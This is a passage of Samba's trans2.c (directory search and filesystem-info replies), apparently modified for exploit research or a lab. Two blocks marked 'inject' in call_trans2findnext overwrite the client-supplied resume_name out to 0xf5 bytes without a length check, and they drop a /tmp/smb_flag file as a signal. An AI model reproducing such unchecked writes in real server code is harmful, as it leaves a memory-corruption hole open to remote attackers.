  2513.     for (i=0;(i<maxentries) && !finished && !out_of_space;i++) {
  2514.         bool got_exact_match = False;
  2515.  
  2516.         /* this is a heuristic to avoid seeking the dirptr except when
  2517.             absolutely necessary. It allows for a filename of about 40 chars */
  2518.         if (space_remaining < DIRLEN_GUESS && numentries > 0) {
  2519.             out_of_space = True;
  2520.             finished = False;
  2521.         } else {
  2522.             finished = !get_lanman2_dir_entry(ctx,
  2523.                     conn,
  2524.                     dirptr,
  2525.                     req->flags2,
  2526.                     mask,dirtype,info_level,
  2527.                     requires_resume_key,dont_descend,
  2528.                     ask_sharemode,
  2529.                     &p,pdata,data_end,
  2530.                     space_remaining, &out_of_space,
  2531.                     &got_exact_match,
  2532.                     &last_entry_off, ea_list);
  2533.         }
  2534.  
  2535.         if (finished && out_of_space)
  2536.             finished = False;
  2537.  
  2538.         if (!finished && !out_of_space)
  2539.             numentries++;
  2540.  
  2541.         /*
  2542.          * As an optimisation if we know we aren't looking
  2543.          * for a wildcard name (ie. the name matches the wildcard exactly)
  2544.          * then we can finish on any (first) match.
  2545.          * This speeds up large directory searches. JRA.
  2546.          */
  2547.  
  2548.         if(got_exact_match)
  2549.             finished = True;
  2550.  
  2551.         /* Ensure space_remaining never goes -ve. */
  2552.         if (PTR_DIFF(p,pdata) > max_data_bytes) {
  2553.             space_remaining = 0;
  2554.             out_of_space = true;
  2555.         } else {
  2556.             space_remaining = max_data_bytes - PTR_DIFF(p,pdata);
  2557.         }
  2558.     }
  2559.  
  2560.     /* Check if we can close the dirptr */
  2561.     if(close_after_first || (finished && close_if_end)) {
  2562.         DEBUG(5,("call_trans2findfirst - (2) closing dptr_num %d\n", dptr_num));
  2563.         dptr_close(sconn, &dptr_num);
  2564.     }
  2565.  
  2566.     /*
  2567.      * If there are no matching entries we must return ERRDOS/ERRbadfile -
  2568.      * from observation of NT. NB. This changes to ERRDOS,ERRnofiles if
  2569.      * the protocol level is less than NT1. Tested with smbclient. JRA.
  2570.      * This should fix the OS/2 client bug #2335.
  2571.      */
  2572.  
  2573.     if(numentries == 0) {
  2574.         dptr_close(sconn, &dptr_num);
  2575.         if (get_Protocol() < PROTOCOL_NT1) {
  2576.             reply_force_doserror(req, ERRDOS, ERRnofiles);
  2577.             goto out;
  2578.         } else {
  2579.             reply_botherror(req, NT_STATUS_NO_SUCH_FILE,
  2580.                     ERRDOS, ERRbadfile);
  2581.             goto out;
  2582.         }
  2583.     }
  2584.  
  2585.     /* At this point pdata points to numentries directory entries. */
  2586.  
  2587.     /* Set up the return parameter block */
  2588.     SSVAL(params,0,dptr_num);
  2589.     SSVAL(params,2,numentries);
  2590.     SSVAL(params,4,finished);
  2591.     SSVAL(params,6,0); /* Never an EA error */
  2592.     SSVAL(params,8,last_entry_off);
  2593.  
  2594.     send_trans2_replies(conn, req, params, 10, pdata, PTR_DIFF(p,pdata),
  2595.                 max_data_bytes);
  2596.  
  2597.     if ((! *directory) && dptr_path(sconn, dptr_num)) {
  2598.         directory = talloc_strdup(talloc_tos(),dptr_path(sconn, dptr_num));
  2599.         if (!directory) {
  2600.             reply_nterror(req, NT_STATUS_NO_MEMORY);
  2601.         }
  2602.     }
  2603.  
  2604.     DEBUG( 4, ( "%s mask=%s directory=%s dirtype=%d numentries=%d\n",
  2605.         smb_fn_name(req->cmd),
  2606.         mask, directory, dirtype, numentries ) );
  2607.  
  2608.     /*
  2609.      * Force a name mangle here to ensure that the
  2610.      * mask as an 8.3 name is top of the mangled cache.
  2611.      * The reasons for this are subtle. Don't remove
  2612.      * this code unless you know what you are doing
  2613.      * (see PR#13758). JRA.
  2614.      */
  2615.  
  2616.     if(!mangle_is_8_3_wildcards( mask, False, conn->params)) {
  2617.         char mangled_name[13];
  2618.         name_to_8_3(mask, mangled_name, True, conn->params);
  2619.     }
  2620.  out:
  2621.     TALLOC_FREE(smb_dname);
  2622.     return;
  2623. }
  2624.  
  2625. /****************************************************************************
  2626.  Reply to a TRANS2_FINDNEXT.
  2627. ****************************************************************************/
  2628.  
  2629. static void call_trans2findnext(connection_struct *conn,
  2630.                 struct smb_request *req,
  2631.                 char **pparams, int total_params,
  2632.                 char **ppdata, int total_data,
  2633.                 unsigned int max_data_bytes)
  2634. {
  2635.     /* We must be careful here that we don't return more than the
  2636.         allowed number of data bytes. If this means returning fewer than
  2637.         maxentries then so be it. We assume that the redirector has
  2638.         enough room for the fixed number of parameter bytes it has
  2639.         requested. */
  2640.     char *params = *pparams;
  2641.     char *pdata = *ppdata;
  2642.     char *data_end;
  2643.     int dptr_num;
  2644.     int maxentries;
  2645.     uint16 info_level;
  2646.     uint32 resume_key;
  2647.     uint16 findnext_flags;
  2648.     bool close_after_request;
  2649.     bool close_if_end;
  2650.     bool requires_resume_key;
  2651.     bool continue_bit;
  2652.     bool mask_contains_wcard = False;
  2653.     char *resume_name = NULL;
  2654.     const char *mask = NULL;
  2655.     const char *directory = NULL;
  2656.     char *p = NULL;
  2657.     uint16 dirtype;
  2658.     int numentries = 0;
  2659.     int i, last_entry_off=0;
  2660.     bool finished = False;
  2661.     bool dont_descend = False;
  2662.     bool out_of_space = False;
  2663.     int space_remaining;
  2664.     struct ea_list *ea_list = NULL;
  2665.     NTSTATUS ntstatus = NT_STATUS_OK;
  2666.     bool ask_sharemode = lp_parm_bool(SNUM(conn), "smbd", "search ask sharemode", true);
  2667.     TALLOC_CTX *ctx = talloc_tos();
  2668.     struct dptr_struct *dirptr;
  2669.     struct smbd_server_connection *sconn = req->sconn;
  2670.  
  2671.     if (total_params < 13) {
  2672.         reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  2673.         return;
  2674.     }
  2675.  
  2676.     dptr_num = SVAL(params,0);
  2677.     maxentries = SVAL(params,2);
  2678.     info_level = SVAL(params,4);
  2679.     resume_key = IVAL(params,6);
  2680.     findnext_flags = SVAL(params,10);
  2681.     close_after_request = (findnext_flags & FLAG_TRANS2_FIND_CLOSE);
  2682.     close_if_end = (findnext_flags & FLAG_TRANS2_FIND_CLOSE_IF_END);
  2683.     requires_resume_key = (findnext_flags & FLAG_TRANS2_FIND_REQUIRE_RESUME);
  2684.     continue_bit = (findnext_flags & FLAG_TRANS2_FIND_CONTINUE);
  2685.  
  2686.     if (!continue_bit) {
  2687.         /* We only need resume_name if continue_bit is zero. */
  2688.         srvstr_get_path_wcard(ctx, params, req->flags2, &resume_name,
  2689.                   params+12,
  2690.                   total_params - 12, STR_TERMINATE, &ntstatus,
  2691.                   &mask_contains_wcard);
  2692.         if (!NT_STATUS_IS_OK(ntstatus)) {
  2693.             /* Win9x or OS/2 can send a resume name of ".." or ".". This will cause the parser to
  2694.                complain (it thinks we're asking for the directory above the shared
  2695.                path or an invalid name). Catch this as the resume name is only compared, never used in
  2696.                a file access. JRA. */
  2697.             srvstr_pull_talloc(ctx, params, req->flags2,
  2698.                 &resume_name, params+12,
  2699.                 total_params - 12,
  2700.                 STR_TERMINATE);
  2701.  
  2702.             if (!resume_name || !(ISDOT(resume_name) || ISDOTDOT(resume_name))) {
  2703.                 reply_nterror(req, ntstatus);
  2704.                 return;
  2705.             }
  2706.         }
  2707.     }
  2708.  
  2709.     DEBUG(3,("call_trans2findnext: dirhandle = %d, max_data_bytes = %d, maxentries = %d, \
  2710. close_after_request=%d, close_if_end = %d requires_resume_key = %d \
  2711. resume_key = %d resume name = %s continue=%d level = %d\n",
  2712.         dptr_num, max_data_bytes, maxentries, close_after_request, close_if_end,
  2713.         requires_resume_key, resume_key,
  2714.         resume_name ? resume_name : "(NULL)", continue_bit, info_level));
  2715.  
  2716.     if (!maxentries) {
  2717.         /* W2K3 seems to treat zero as 1. */
  2718.         maxentries = 1;
  2719.     }
  2720.  
  2721.     switch (info_level) {
  2722.         case SMB_FIND_INFO_STANDARD:
  2723.         case SMB_FIND_EA_SIZE:
  2724.         case SMB_FIND_EA_LIST:
  2725.         case SMB_FIND_FILE_DIRECTORY_INFO:
  2726.         case SMB_FIND_FILE_FULL_DIRECTORY_INFO:
  2727.         case SMB_FIND_FILE_NAMES_INFO:
  2728.         case SMB_FIND_FILE_BOTH_DIRECTORY_INFO:
  2729.         case SMB_FIND_ID_FULL_DIRECTORY_INFO:
  2730.         case SMB_FIND_ID_BOTH_DIRECTORY_INFO:
  2731.             break;
  2732.         case SMB_FIND_FILE_UNIX:
  2733.         case SMB_FIND_FILE_UNIX_INFO2:
  2734.             /* Always use filesystem for UNIX mtime query. */
  2735.             ask_sharemode = false;
  2736.             if (!lp_unix_extensions()) {
  2737.                 reply_nterror(req, NT_STATUS_INVALID_LEVEL);
  2738.                 return;
  2739.             }
  2740.             break;
  2741.         default:
  2742.             reply_nterror(req, NT_STATUS_INVALID_LEVEL);
  2743.             return;
  2744.     }
  2745.  
  2746.     if (info_level == SMB_FIND_EA_LIST) {
  2747.         uint32 ea_size;
  2748.  
  2749.         if (total_data < 4) {
  2750.             reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  2751.             return;
  2752.         }
  2753.  
  2754.         ea_size = IVAL(pdata,0);
  2755.         if (ea_size != total_data) {
  2756.             DEBUG(4,("call_trans2findnext: Rejecting EA request with incorrect \
  2757. total_data=%u (should be %u)\n", (unsigned int)total_data, (unsigned int)IVAL(pdata,0) ));
  2758.             reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  2759.             return;
  2760.         }
  2761.  
  2762.         if (!lp_ea_support(SNUM(conn))) {
  2763.             reply_nterror(req, NT_STATUS_EAS_NOT_SUPPORTED);
  2764.             return;
  2765.         }
  2766.  
  2767.         /* Pull out the list of names. */
  2768.         ea_list = read_ea_name_list(ctx, pdata + 4, ea_size - 4);
  2769.         if (!ea_list) {
  2770.             reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  2771.             return;
  2772.         }
  2773.     }
  2774.  
  2775.     *ppdata = (char *)SMB_REALLOC(
  2776.         *ppdata, max_data_bytes + DIR_ENTRY_SAFETY_MARGIN);
  2777.     if(*ppdata == NULL) {
  2778.         reply_nterror(req, NT_STATUS_NO_MEMORY);
  2779.         return;
  2780.     }
  2781.  
  2782.     pdata = *ppdata;
  2783.     data_end = pdata + max_data_bytes + DIR_ENTRY_SAFETY_MARGIN - 1;
  2784.  
  2785.     /* Realloc the params space */
  2786.     *pparams = (char *)SMB_REALLOC(*pparams, 6*SIZEOFWORD);
  2787.     if(*pparams == NULL ) {
  2788.         reply_nterror(req, NT_STATUS_NO_MEMORY);
  2789.         return;
  2790.     }
  2791.  
  2792.     params = *pparams;
  2793.  
  2794.     /* Check that the dptr is valid */
  2795.     if(!(dirptr = dptr_fetch_lanman2(sconn, dptr_num))) {
  2796.         reply_nterror(req, STATUS_NO_MORE_FILES);
  2797.         return;
  2798.     }
  2799.  
  2800.     directory = dptr_path(sconn, dptr_num);
  2801.  
  2802.     /* Get the wildcard mask from the dptr */
  2803.     if((p = dptr_wcard(sconn, dptr_num))== NULL) {
  2804.         DEBUG(2,("dptr_num %d has no wildcard\n", dptr_num));
  2805.         reply_nterror(req, STATUS_NO_MORE_FILES);
  2806.         return;
  2807.     }
  2808.  
  2809.     mask = p;
  2810.  
  2811.     /* Get the attr mask from the dptr */
  2812.     dirtype = dptr_attr(sconn, dptr_num);
  2813.  
  2814.     DEBUG(3,("dptr_num is %d, mask = %s, attr = %x, dirptr=(0x%lX,%ld)\n",
  2815.         dptr_num, mask, dirtype,
  2816.         (long)dirptr,
  2817.         dptr_TellDir(dirptr)));
  2818.  
  2819.     /* Initialize per TRANS2_FIND_NEXT operation data */
  2820.     dptr_init_search_op(dirptr);
  2821.  
  2822.     /* We don't need to check for VOL here as this is returned by
  2823.         a different TRANS2 call. */
  2824.  
  2825.     DEBUG(8,("dirpath=<%s> dontdescend=<%s>\n",
  2826.          directory,lp_dontdescend(SNUM(conn))));
  2827.     if (in_list(directory,lp_dontdescend(SNUM(conn)),conn->case_sensitive))
  2828.         dont_descend = True;
  2829.  
  2830.     p = pdata;
  2831.     space_remaining = max_data_bytes;
  2832.     out_of_space = False;
  2833.  
  2834.     /*
  2835.      * Seek to the correct position. We no longer use the resume key but
  2836.      * depend on the last file name instead.
  2837.      */
  2838.  
  2839.     if(!continue_bit && resume_name && *resume_name) {
  2840.         SMB_STRUCT_STAT st;
  2841.  
  2842.         long current_pos = 0;
  2843.         /*
  2844.          * Remember, name_to_8_3 is called by
  2845.          * get_lanman2_dir_entry(), so the resume name
  2846.          * could be mangled. Ensure we check the unmangled name.
  2847.          */
  2848.  
  2849.         if (mangle_is_mangled(resume_name, conn->params)) {
  2850.             char *new_resume_name = NULL;
  2851.             mangle_lookup_name_from_8_3(ctx,
  2852.                         resume_name,
  2853.                         &new_resume_name,
  2854.                         conn->params);
  2855.             if (new_resume_name) {
  2856.                 resume_name = new_resume_name;
  2857.             }
  2858.         }
  2859.  
  2860.         /*
  2861.          * Fix for NT redirector problem triggered by resume key indexes
  2862.          * changing between directory scans. We now return a resume key of 0
  2863.          * and instead look for the filename to continue from (also given
  2864.          * to us by NT/95/smbfs/smbclient). If no other scans have been done between the
  2865.          * findfirst/findnext (as is usual) then the directory pointer
  2866.          * should already be at the correct place.
  2867.          */
  2868.  
  2869.  
  2870.         // inject отображаем resume_name в реальное имя
  2871.         {
  2872.             int i;
  2873.  
  2874.             // Так как имена в оригинале имеют вид i + ‘a’*0xf0, где i – индекс из пяти байт
  2875.             for(i = 5; i < 0xf6; i++){
  2876.                 resume_name[i] = 'a';
  2877.             }
  2878.             resume_name[0xf6 - 1] = 0;
  2879.         }
  2880.         finished = !dptr_SearchDir(dirptr, resume_name, &current_pos, &st);
  2881.     } /* end if resume_name && !continue_bit */
  2882.  
  2883.     for (i=0;(i<(int)maxentries) && !finished && !out_of_space ;i++) {
  2884.         bool got_exact_match = False;
  2885.  
  2886.         /* this is a heuristic to avoid seeking the dirptr except when
  2887.             absolutely necessary. It allows for a filename of about 40 chars */
  2888.         if (space_remaining < DIRLEN_GUESS && numentries > 0) {
  2889.             out_of_space = True;
  2890.             finished = False;
  2891.         } else {
  2892.             finished = !get_lanman2_dir_entry(ctx,
  2893.                         conn,
  2894.                         dirptr,
  2895.                         req->flags2,
  2896.                         mask,dirtype,info_level,
  2897.                         requires_resume_key,dont_descend,
  2898.                         ask_sharemode,
  2899.                         &p,pdata,data_end,
  2900.                         space_remaining, &out_of_space,
  2901.                         &got_exact_match,
  2902.                         &last_entry_off, ea_list);
  2903.         }
  2904.  
  2905.         if (finished && out_of_space)
  2906.             finished = False;
  2907.  
  2908.         if (!finished && !out_of_space)
  2909.             numentries++;
  2910.  
  2911.         /*
  2912.          * As an optimisation if we know we aren't looking
  2913.          * for a wildcard name (ie. the name matches the wildcard exactly)
  2914.          * then we can finish on any (first) match.
  2915.          * This speeds up large directory searches. JRA.
  2916.          */
  2917.  
  2918.         if(got_exact_match)
  2919.             finished = True;
  2920.  
  2921.         space_remaining = max_data_bytes - PTR_DIFF(p,pdata);
  2922.     }
  2923.  
  2924.     DEBUG( 3, ( "%s mask=%s directory=%s dirtype=%d numentries=%d\n",
  2925.         smb_fn_name(req->cmd),
  2926.         mask, directory, dirtype, numentries ) );
  2927.  
  2928.     /* Check if we can close the dirptr */
  2929.     if(close_after_request || (finished && close_if_end)) {
  2930.         DEBUG(5,("call_trans2findnext: closing dptr_num = %d\n", dptr_num));
  2931.         dptr_close(sconn, &dptr_num); /* This frees up the saved mask */
  2932.         // inject сигнализируем об окончании выдачи
  2933.         {
  2934.             int f = open("/tmp/smb_flag", O_CREAT | O_WRONLY, S_IRWXU);
  2935.             close(f);
  2936.         }
  2937.         count_repl = 0;
  2938.     }
  2939.  
  2940.     /* Set up the return parameter block */
  2941.     SSVAL(params,0,numentries);
  2942.     SSVAL(params,2,finished);
  2943.     SSVAL(params,4,0); /* Never an EA error */
  2944.     SSVAL(params,6,last_entry_off);
  2945.  
  2946.     send_trans2_replies(conn, req, params, 8, pdata, PTR_DIFF(p,pdata),
  2947.                 max_data_bytes);
  2948.  
  2949.     return;
  2950. }
  2951.  
  2952. unsigned char *create_volume_objectid(connection_struct *conn, unsigned char objid[16])
  2953. {
  2954.     E_md4hash(lp_servicename(SNUM(conn)),objid);
  2955.     return objid;
  2956. }
  2957.  
  2958. static void samba_extended_info_version(struct smb_extended_info *extended_info)
  2959. {
  2960.     SMB_ASSERT(extended_info != NULL);
  2961.  
  2962.     extended_info->samba_magic = SAMBA_EXTENDED_INFO_MAGIC;
  2963.     extended_info->samba_version = ((SAMBA_VERSION_MAJOR & 0xff) << 24)
  2964.                        | ((SAMBA_VERSION_MINOR & 0xff) << 16)
  2965.                        | ((SAMBA_VERSION_RELEASE & 0xff) << 8);
  2966. #ifdef SAMBA_VERSION_REVISION
  2967.     extended_info->samba_version |= (tolower(*SAMBA_VERSION_REVISION) - 'a' + 1) & 0xff;
  2968. #endif
  2969.     extended_info->samba_subversion = 0;
  2970. #ifdef SAMBA_VERSION_RC_RELEASE
  2971.     extended_info->samba_subversion |= (SAMBA_VERSION_RC_RELEASE & 0xff) << 24;
  2972. #else
  2973. #ifdef SAMBA_VERSION_PRE_RELEASE
  2974.     extended_info->samba_subversion |= (SAMBA_VERSION_PRE_RELEASE & 0xff) << 16;
  2975. #endif
  2976. #endif
  2977. #ifdef SAMBA_VERSION_VENDOR_PATCH
  2978.     extended_info->samba_subversion |= (SAMBA_VERSION_VENDOR_PATCH & 0xffff);
  2979. #endif
  2980.     extended_info->samba_gitcommitdate = 0;
  2981. #ifdef SAMBA_VERSION_COMMIT_TIME
  2982.     unix_to_nt_time(&extended_info->samba_gitcommitdate, SAMBA_VERSION_COMMIT_TIME);
  2983. #endif
  2984.  
  2985.     memset(extended_info->samba_version_string, 0,
  2986.            sizeof(extended_info->samba_version_string));
  2987.  
  2988.     snprintf (extended_info->samba_version_string,
  2989.           sizeof(extended_info->samba_version_string),
  2990.           "%s", samba_version_string());
  2991. }
  2992.  
  2993. NTSTATUS smbd_do_qfsinfo(connection_struct *conn,
  2994.              TALLOC_CTX *mem_ctx,
  2995.              uint16_t info_level,
  2996.              uint16_t flags2,
  2997.              unsigned int max_data_bytes,
  2998.              char **ppdata,
  2999.              int *ret_data_len)
  3000. {
  3001.     char *pdata, *end_data;
  3002.     int data_len = 0, len;
  3003.     const char *vname = volume_label(SNUM(conn));
  3004.     int snum = SNUM(conn);
  3005.     char *fstype = lp_fstype(SNUM(conn));
  3006.     uint32 additional_flags = 0;
  3007.     struct smb_filename smb_fname_dot;
  3008.     SMB_STRUCT_STAT st;
  3009.  
  3010.     if (IS_IPC(conn)) {
  3011.         if (info_level != SMB_QUERY_CIFS_UNIX_INFO) {
  3012.             DEBUG(0,("smbd_do_qfsinfo: not an allowed "
  3013.                 "info level (0x%x) on IPC$.\n",
  3014.                 (unsigned int)info_level));
  3015.             return NT_STATUS_ACCESS_DENIED;
  3016.         }
  3017.     }
  3018.  
  3019.     DEBUG(3,("smbd_do_qfsinfo: level = %d\n", info_level));
  3020.  
  3021.     ZERO_STRUCT(smb_fname_dot);
  3022.     smb_fname_dot.base_name = discard_const_p(char, ".");
  3023.  
  3024.     if(SMB_VFS_STAT(conn, &smb_fname_dot) != 0) {
  3025.         DEBUG(2,("stat of . failed (%s)\n", strerror(errno)));
  3026.         return map_nt_error_from_unix(errno);
  3027.     }
  3028.  
  3029.     st = smb_fname_dot.st;
  3030.  
  3031.     *ppdata = (char *)SMB_REALLOC(
  3032.         *ppdata, max_data_bytes + DIR_ENTRY_SAFETY_MARGIN);
  3033.     if (*ppdata == NULL) {
  3034.         return NT_STATUS_NO_MEMORY;
  3035.     }
  3036.  
  3037.     pdata = *ppdata;
  3038.     memset((char *)pdata,'\0',max_data_bytes + DIR_ENTRY_SAFETY_MARGIN);
  3039.     end_data = pdata + max_data_bytes + DIR_ENTRY_SAFETY_MARGIN - 1;
  3040.  
  3041.     switch (info_level) {
  3042.         case SMB_INFO_ALLOCATION:
  3043.         {
  3044.             uint64_t dfree,dsize,bsize,block_size,sectors_per_unit,bytes_per_sector;
  3045.             data_len = 18;
  3046.             if (get_dfree_info(conn,".",False,&bsize,&dfree,&dsize) == (uint64_t)-1) {
  3047.                 return map_nt_error_from_unix(errno);
  3048.             }
  3049.  
  3050.             block_size = lp_block_size(snum);
  3051.             if (bsize < block_size) {
  3052.                 uint64_t factor = block_size/bsize;
  3053.                 bsize = block_size;
  3054.                 dsize /= factor;
  3055.                 dfree /= factor;
  3056.             }
  3057.             if (bsize > block_size) {
  3058.                 uint64_t factor = bsize/block_size;
  3059.                 bsize = block_size;
  3060.                 dsize *= factor;
  3061.                 dfree *= factor;
  3062.             }
  3063.             bytes_per_sector = 512;
  3064.             sectors_per_unit = bsize/bytes_per_sector;
  3065.  
  3066.             DEBUG(5,("smbd_do_qfsinfo : SMB_INFO_ALLOCATION id=%x, bsize=%u, cSectorUnit=%u, \
  3067. cBytesSector=%u, cUnitTotal=%u, cUnitAvail=%d\n", (unsigned int)st.st_ex_dev, (unsigned int)bsize, (unsigned int)sectors_per_unit,
  3068.                 (unsigned int)bytes_per_sector, (unsigned int)dsize, (unsigned int)dfree));
  3069.  
  3070.             SIVAL(pdata,l1_idFileSystem,st.st_ex_dev);
  3071.             SIVAL(pdata,l1_cSectorUnit,sectors_per_unit);
  3072.             SIVAL(pdata,l1_cUnit,dsize);
  3073.             SIVAL(pdata,l1_cUnitAvail,dfree);
  3074.             SSVAL(pdata,l1_cbSector,bytes_per_sector);
  3075.             break;
  3076.         }
  3077.  
  3078.         case SMB_INFO_VOLUME:
  3079.             /* Return volume name */
  3080.             /*
  3081.              * Add volume serial number - hash of a combination of
  3082.              * the called hostname and the service name.
  3083.              */
  3084.             SIVAL(pdata,0,str_checksum(lp_servicename(snum)) ^ (str_checksum(get_local_machine_name())<<16) );
  3085.             /*
  3086.              * Win2k3 and previous mess this up by sending a name length
  3087.              * one byte short. I believe only older clients (OS/2 Win9x) use
  3088.              * this call so try fixing this by adding a terminating null to
  3089.              * the pushed string. The change here was adding the STR_TERMINATE. JRA.
  3090.              */
  3091.             len = srvstr_push(
  3092.                 pdata, flags2,
  3093.                 pdata+l2_vol_szVolLabel, vname,
  3094.                 PTR_DIFF(end_data, pdata+l2_vol_szVolLabel),
  3095.                 STR_NOALIGN|STR_TERMINATE);
  3096.             SCVAL(pdata,l2_vol_cch,len);
  3097.             data_len = l2_vol_szVolLabel + len;
  3098.             DEBUG(5,("smbd_do_qfsinfo : time = %x, namelen = %d, name = %s\n",
  3099.                  (unsigned)convert_timespec_to_time_t(st.st_ex_ctime),
  3100.                  len, vname));
  3101.             break;
  3102.  
  3103.         case SMB_QUERY_FS_ATTRIBUTE_INFO:
  3104.         case SMB_FS_ATTRIBUTE_INFORMATION:
  3105.  
  3106.             additional_flags = 0;
  3107. #if defined(HAVE_SYS_QUOTAS)
  3108.             additional_flags |= FILE_VOLUME_QUOTAS;
  3109. #endif
  3110.  
  3111.             if(lp_nt_acl_support(SNUM(conn))) {
  3112.                 additional_flags |= FILE_PERSISTENT_ACLS;
  3113.             }
  3114.  
  3115.             /* Capabilities are filled in at connection time through STATVFS call */
  3116.             additional_flags |= conn->fs_capabilities;
  3117.             additional_flags |= lp_parm_int(conn->params->service,
  3118.                             "share", "fake_fscaps",
  3119.                             0);
  3120.  
  3121.             SIVAL(pdata,0,FILE_CASE_PRESERVED_NAMES|FILE_CASE_SENSITIVE_SEARCH|
  3122.                 FILE_SUPPORTS_OBJECT_IDS|FILE_UNICODE_ON_DISK|
  3123.                 additional_flags); /* FS ATTRIBUTES */
  3124.  
  3125.             SIVAL(pdata,4,255); /* Max filename component length */
  3126.             /* NOTE! the fstype must *not* be null terminated or win98 won't recognise it
  3127.                 and will think we can't do long filenames */
  3128.             len = srvstr_push(pdata, flags2, pdata+12, fstype,
  3129.                       PTR_DIFF(end_data, pdata+12),
  3130.                       STR_UNICODE);
  3131.             SIVAL(pdata,8,len);
  3132.             data_len = 12 + len;
  3133.             break;
  3134.  
  3135.         case SMB_QUERY_FS_LABEL_INFO:
  3136.         case SMB_FS_LABEL_INFORMATION:
  3137.             len = srvstr_push(pdata, flags2, pdata+4, vname,
  3138.                       PTR_DIFF(end_data, pdata+4), 0);
  3139.             data_len = 4 + len;
  3140.             SIVAL(pdata,0,len);
  3141.             break;
  3142.  
  3143.         case SMB_QUERY_FS_VOLUME_INFO:      
  3144.         case SMB_FS_VOLUME_INFORMATION:
  3145.  
  3146.             /*
  3147.              * Add volume serial number - hash of a combination of
  3148.              * the called hostname and the service name.
  3149.              */
  3150.             SIVAL(pdata,8,str_checksum(lp_servicename(snum)) ^
  3151.                 (str_checksum(get_local_machine_name())<<16));
  3152.  
  3153.             /* Max label len is 32 characters. */
  3154.             len = srvstr_push(pdata, flags2, pdata+18, vname,
  3155.                       PTR_DIFF(end_data, pdata+18),
  3156.                       STR_UNICODE);
  3157.             SIVAL(pdata,12,len);
  3158.             data_len = 18+len;
  3159.  
  3160.             DEBUG(5,("smbd_do_qfsinfo : SMB_QUERY_FS_VOLUME_INFO namelen = %d, vol=%s serv=%s\n",
  3161.                 (int)strlen(vname),vname, lp_servicename(snum)));
  3162.             break;
  3163.  
  3164.         case SMB_QUERY_FS_SIZE_INFO:
  3165.         case SMB_FS_SIZE_INFORMATION:
  3166.         {
  3167.             uint64_t dfree,dsize,bsize,block_size,sectors_per_unit,bytes_per_sector;
  3168.             data_len = 24;
  3169.             if (get_dfree_info(conn,".",False,&bsize,&dfree,&dsize) == (uint64_t)-1) {
  3170.                 return map_nt_error_from_unix(errno);
  3171.             }
  3172.             block_size = lp_block_size(snum);
  3173.             if (bsize < block_size) {
  3174.                 uint64_t factor = block_size/bsize;
  3175.                 bsize = block_size;
  3176.                 dsize /= factor;
  3177.                 dfree /= factor;
  3178.             }
  3179.             if (bsize > block_size) {
  3180.                 uint64_t factor = bsize/block_size;
  3181.                 bsize = block_size;
  3182.                 dsize *= factor;
  3183.                 dfree *= factor;
  3184.             }
  3185.             bytes_per_sector = 512;
  3186.             sectors_per_unit = bsize/bytes_per_sector;
  3187.             DEBUG(5,("smbd_do_qfsinfo : SMB_QUERY_FS_SIZE_INFO bsize=%u, cSectorUnit=%u, \
  3188. cBytesSector=%u, cUnitTotal=%u, cUnitAvail=%d\n", (unsigned int)bsize, (unsigned int)sectors_per_unit,
  3189.                 (unsigned int)bytes_per_sector, (unsigned int)dsize, (unsigned int)dfree));
  3190.             SBIG_UINT(pdata,0,dsize);
  3191.             SBIG_UINT(pdata,8,dfree);
  3192.             SIVAL(pdata,16,sectors_per_unit);
  3193.             SIVAL(pdata,20,bytes_per_sector);
  3194.             break;
  3195.         }
  3196.  
  3197.         case SMB_FS_FULL_SIZE_INFORMATION:
  3198.         {
  3199.             uint64_t dfree,dsize,bsize,block_size,sectors_per_unit,bytes_per_sector;
  3200.             data_len = 32;
  3201.             if (get_dfree_info(conn,".",False,&bsize,&dfree,&dsize) == (uint64_t)-1) {
  3202.                 return map_nt_error_from_unix(errno);
  3203.             }
  3204.             block_size = lp_block_size(snum);
  3205.             if (bsize < block_size) {
  3206.                 uint64_t factor = block_size/bsize;
  3207.                 bsize = block_size;
  3208.                 dsize /= factor;
  3209.                 dfree /= factor;
  3210.             }
  3211.             if (bsize > block_size) {
  3212.                 uint64_t factor = bsize/block_size;
  3213.                 bsize = block_size;
  3214.                 dsize *= factor;
  3215.                 dfree *= factor;
  3216.             }
  3217.             bytes_per_sector = 512;
  3218.             sectors_per_unit = bsize/bytes_per_sector;
  3219.             DEBUG(5,("smbd_do_qfsinfo : SMB_QUERY_FS_FULL_SIZE_INFO bsize=%u, cSectorUnit=%u, \
  3220. cBytesSector=%u, cUnitTotal=%u, cUnitAvail=%d\n", (unsigned int)bsize, (unsigned int)sectors_per_unit,
  3221.                 (unsigned int)bytes_per_sector, (unsigned int)dsize, (unsigned int)dfree));
  3222.             SBIG_UINT(pdata,0,dsize); /* Total Allocation units. */
  3223.             SBIG_UINT(pdata,8,dfree); /* Caller available allocation units. */
  3224.             SBIG_UINT(pdata,16,dfree); /* Actual available allocation units. */
  3225.             SIVAL(pdata,24,sectors_per_unit); /* Sectors per allocation unit. */
  3226.             SIVAL(pdata,28,bytes_per_sector); /* Bytes per sector. */
  3227.             break;
  3228.         }
  3229.  
  3230.         case SMB_QUERY_FS_DEVICE_INFO:
  3231.         case SMB_FS_DEVICE_INFORMATION:
  3232.         {
  3233.             uint32_t characteristics = FILE_DEVICE_IS_MOUNTED;
  3234.  
  3235.             if (!CAN_WRITE(conn)) {
  3236.                 characteristics |= FILE_READ_ONLY_DEVICE;
  3237.             }
  3238.             data_len = 8;
  3239.             SIVAL(pdata,0,FILE_DEVICE_DISK); /* dev type */
  3240.             SIVAL(pdata,4,characteristics);
  3241.             break;
  3242.         }
  3243.  
  3244. #ifdef HAVE_SYS_QUOTAS
  3245.         case SMB_FS_QUOTA_INFORMATION:
  3246.         /*
  3247.          * what we have to send --metze:
  3248.          *
  3249.          * Unknown1:        24 NULL bytes
  3250.          * Soft Quota Treshold: 8 bytes seems like uint64_t or so
  3251.          * Hard Quota Limit:    8 bytes seems like uint64_t or so
  3252.          * Quota Flags:     2 byte :
  3253.          * Unknown3:        6 NULL bytes
  3254.          *
  3255.          * 48 bytes total
  3256.          *
  3257.          * details for Quota Flags:
  3258.          *
  3259.          * 0x0020 Log Limit: log if the user exceeds his Hard Quota
  3260.          * 0x0010 Log Warn:  log if the user exceeds his Soft Quota
  3261.          * 0x0002 Deny Disk: deny disk access when the user exceeds his Hard Quota
  3262.          * 0x0001 Enable Quotas: enable quota for this fs
  3263.          *
  3264.          */
  3265.         {
  3266.             /* we need to fake up a fsp here,
  3267.              * because its not send in this call
  3268.              */
  3269.             files_struct fsp;
